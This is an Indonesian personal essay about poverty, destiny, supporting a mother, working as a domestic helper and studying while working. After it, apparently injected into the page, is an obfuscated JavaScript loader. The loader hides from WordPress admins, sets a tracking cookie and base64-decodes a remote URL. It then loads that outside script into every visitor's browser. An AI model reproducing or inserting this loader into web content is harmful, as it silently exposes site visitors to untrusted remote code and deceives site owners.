Inikah takdirmu…….
Semua orang ingin bahagia,semua orang ingin lahir dari keluarga tercukupi segala.tapi tidak semua yang kau inginkan terwujud. Terlahir dari keluarga miskin tak membuatmu menyerah dengan keadaan.
Kalau aku boleh memilih tentu tidak akan ku pilih takdirku saat ini.
Tapi inilah hidup ,misteri penuh dengan ketidak pastian.jangankan yang akan terjadi yang akan datang engkau tahu.yang akan terjadi 1 menit nanti saya engkau tidak akan tahun.
Setelah lulus dari sekolah Menengah Atas , walaupun aku tidak percaya Sampai lulus dari SMA dengan susah payah .Orang tua mana yang tidak ingin anaknya bahagia.
Tapi inilah takdir ku ….
Sekolah menjadi pilihanku.Aku harus berjalan kaki sampai 1 jam untuk harus sampai di sekolah.dengan perjuangan yang keras.
Setelah lulus dari SMA pikiran ku melayang aku membayangkan bisa melanjutkan pendidikan sampai perguruan tinggi.rasanya mustahil untuk makan saya sulit harus pontang pantang.hari ini makan besok belum makan.
Dihadapan ku ada bayangan ibuku yang harus aku topang aku ingin membantu meringankan beban.ibu pahlawan ku aku malaikat ku meskipun tubuhmu kurus kau tetap tegar menopang beban hidup yg berat dan melelahkan.
Di sisi lain aku yakin dengan pendidikan merupakan investasi masa depan.memutus mata rantai kemiskinan hanya bisa melalui pendidikan.
Kuambil pilihan berat untuk merantau demi menyambung hidup dan merubah masa depan.seraya meminta doa restu ibuku untuk merelakan aku bekerja sambil melanjutkan pendidikan walaupun mustahil aku rasakan .tapi aku tak boleh menyerah
Takdirku harus menopang orang tua yang tidak punya materi dan benda.tapi aku harus memilih pilihan yang tidak mudah.
Ku mulai menapaki kaki di rantau orang bermodal keyakinan dan ihtiar.tidak ada pilihan harus bekerja apapun di rantau orang yang penting bisa makan dan sedikit aku tabungkan untuk menyemai asa melanjutkan kuliah.
Gumanku dalam hati
Takdir hidup aku harus kuat memikul beban.
Aku di pertemuankan dengan orang baik.aku rela menjadi pembantu rumah tangga dengan beban yang tak ringan.kerja lelah dengan upah murah menjadi pilihan aku hanya lulusan SMA .
Tapi aku harus melangkah .
Waktu berjalan begitu cepat melintas
Di tahun kedua ku hidup di rantau orang .aku memutuskan untuk melanjutkan pendidikan mengambil kelas karyawan.
Awal begitu berat ku rasakan
Tapi kaki harus kuat menopang
5 tahun aku di rantau orang.
4 tahun aku bekerja
Tak terasa jerih payahku Dapatku ku petik hasilnya.
Jangan menyerah jangan menyalahkan takdir.
Takdir akan indah pada waktunya
Sesuai dengan Doa Usaha dan Ihtiar kita.
23 Nopember 2023
(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();



